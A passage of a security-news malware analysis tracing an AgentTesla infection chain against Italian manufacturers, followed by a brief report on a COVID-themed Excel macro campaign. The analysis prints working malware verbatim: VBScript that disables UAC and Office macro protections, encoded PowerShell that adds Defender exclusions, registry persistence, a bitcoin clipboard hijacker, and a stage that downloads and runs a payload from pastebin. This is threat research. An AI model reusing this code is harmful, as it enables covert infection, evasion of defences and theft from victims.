End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell $cici=@(36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX”, null, objConfig, intProcessID)
CreateObject(“WScript.Shell”).RegWrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA”,”0″, “REG_DWORD”

Set wso = CreateObject(“WScript.Shell”)wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”

Code Snippet 5

As seen in the code a powershell command is hidden inside the variable named $cici, which is immediately converted from the decimal to the relative ascii value. 

$userPath = $env:USERPROFILE$pathExclusions = New-Object System.Collections.ArrayList$processExclusions = New-Object System.Collections.ArrayList$pathExclusions.Add(‘C:\’) > $null$processExclusions.Add(‘Msbuild.exe’) > $null$processExclusions.Add(‘Calc.exe’) > $null$processExclusions.Add(‘powershell.exe’) > $null$processExclusions.Add(‘wscript.exe’) > $null$processExclusions.Add(‘mshta.exe’) > $null$processExclusions.Add(‘cmd.exe’) > $null$projectsFolder = ‘d:\’Add-MpPreference -ExclusionPath $projectsFolderforeach ($exclusion in $pathExclusions){    Write-Host “Adding Path Exclusion: ” $exclusion    Add-MpPreference -ExclusionPath $exclusion}foreach ($exclusion in $processExclusions){    Write-Host “Adding Process Exclusion: ” $exclusion    Add-MpPreference -ExclusionProcess $exclusion}Write-Host “”Write-Host “Your Exclusions:”$prefs = Get-MpPreference$prefs.ExclusionPath$prefs.ExclusionProcess

Code snippet 6

In Code Snippet 6 we found a powershell code instructed to insert in the Microsoft Windows Anti-Malware exclusions the following processes: msbuild, calc, powershell, wscript, mshta and cmd.

Another script in this intricated chain is YL0je2fU:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>
CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).mogale)|IEX””””, 0 : window.close””)”, “REG_SZ”

CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\mogale”, “$cici=@(102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX” , “REG_SZ”
Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe ((gp HKCU:\Software).mogale)|IEX”, null, objConfig, intProcessID)

Code Snippet 7

Even in this case there is a powershell script embedded in it using the same variable name “$cici”, but with the following body:

function isBitcoinAddress([string]$clipboardContent){ if($clipboardContent[0] -ne ‘1’) { return $false }
$strLength = $clipboardContent.length if($strLength -lt 26 -or $strLength -gt 35) { return $false }
$validRegex = ‘^[a-zA-Z0-9\s]+$’ if($clipboardContent -cnotmatch $validRegex) { return $false }
return $true}$bitcoinAddresses = (“19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”)$bitcoinAddressesSize = $bitcoinAddresses.length$i = 0$oldAddressSet = “”while(1){ $clipboardContent = Get-Clipboard if((isBitcoinAddress($clipboardContent)) -ceq $true -and $clipboardContent -cne $oldAddressSet) { Set-Clipboard $bitcoinAddresses[$i] $oldAddressSet = $bitcoinAddresses[$i] $i = ($i + 1) % $bitcoinAddressesSize }}

Code Snippet 8

The script performs a constant check in the clipboard of the victim machine, looking for bitcoin addresses and some of them are also hardcoded. The last stage is UyFaSxgj:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(‘h’+’t’+’t’+’p’+’s’+’:’+’/’+’/’+’p’+’a’+’s’+’t’+’e’+’b’+’i’+’n’+’.’+’c’+’o’+’m’+’/’+’r’+’a’+’w’+’/eyGv9x4B’));$_Xpin=$_Xpin.replace(‘.’,’*!(@*#(!@#*’).replace(‘*!(@*#(!@#*’,’0′);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)”, null, objConfig, intProcessID)

Code Snippet 9

This component spawn through powershell a script a binary file from a pastebin, eyGv9x4B, but, unfortunately, at the time of analysis, the paste has been removed.

This example could suggest to us the power of the malicious infrastructure built from the attacker, where  components could be removed or replaced with another one in every moment.

The Payload

As previously stated, the final payload is AgentTesla. It remains one of the most adopted commodity malware instructed to steal a large number of sensitive information about the victim. During the past years, we constantly studied the evolution of this threat and we enumerated all the sensitive data grasped by it. 

However, also in this case, we obtained the final payload and the configuration of the SMTP client where sends the stolen information:

Figure 13: Configuration of the AgentTesla SMTP client

The domain “” has been created ad-hoc in order to manage the infection campaign. Studying the uptime of the domain we were able to reconstruct the infection campaign of the threat actor.

Figure 14: Information about the C2 uptime stats

As shown above, the domain has been registered on the last days of january and it has been active since the middle of April. After a short period of inactivity, it compared another time the 2nd of May since these days.


The actor hiding behind this campaign can undoubtedly be considered a persistent cyber-threat to many organizations operating in production sectors in Europe and, in the last months, also in Italy. Its intricate infection chain developed and tested during the years gave him the flexibility needed to bypass many layers of traditional security defences, manipulating the delivery infrastructure from time to time.

During the time, the actor’s delivery infrastructure was leveraged to install different kinds of malware: most of the time remote access trojans and info and credential stealing software. Such malware types are capable of enabling cyber-espionage and IP theft operations, potentially to re-sell stolen information on dark markets.

No doubt, we will keep going to track this threat.

Additional details, including IoCs and Yara rules are available here:

Pierluigi Paganini

(SecurityAffairs – Italian manufacturing, hacking)

The post Cyber-Criminal espionage Operation insists on Italian Manufacturing appeared first on Security Affairs.

Microsoft warns of “massive campaign” using COVID-19 themed emails

Experts from the Microsoft Security Intelligence team provided some details on a new “massive campaign” using COVID-19 themed emails.

Researchers from the Microsoft Security Intelligence team provided some details on a new massive phishing campaign using COVID-19 themed emails.

The messages used weaponized Excel documents, the IT giant observed a spike in the number of malicious documents in malspam campaigns which use Excel 4.0 macros.

“For several months now, we’ve been seeing a steady increase in the use of malicious Excel 4.0 macros in malware campaigns. In April, these Excel 4.0 campaigns jumped on the bandwagon and started using COVID-19 themed lures.” states Microsoft in a Tweet.

The latest COVID-19 campaign began in April, the messages purport to be from the Johns Hopkins Center and use an Excel attachment. Once opened the attachment, it will show a graph of Coronavirus cases in the United States and trick the victims into enabling the macros to start the infection.

The macros drop a remote access tool (RAT) named NetSupport Manager, it is a legitimate application that is abused by attackers to take control over victim systems.

“The hundreds of unique Excel files in this campaign use highly obfuscated formulas, but all of them connect to the same URL to download the payload. NetSupport Manager is known for being abused by attackers to gain remote access to and run commands on compromised machines.” continues Microsoft.

The NetSupport RAT employed in this COVID-19-themed campaign also drops multiple components, including several .dll, .ini, and other .exe files, a VBScript, and an obfuscated PowerSploit-based PowerShell script. Then it connects to a command and control server, allowing threat actors to send further commands.

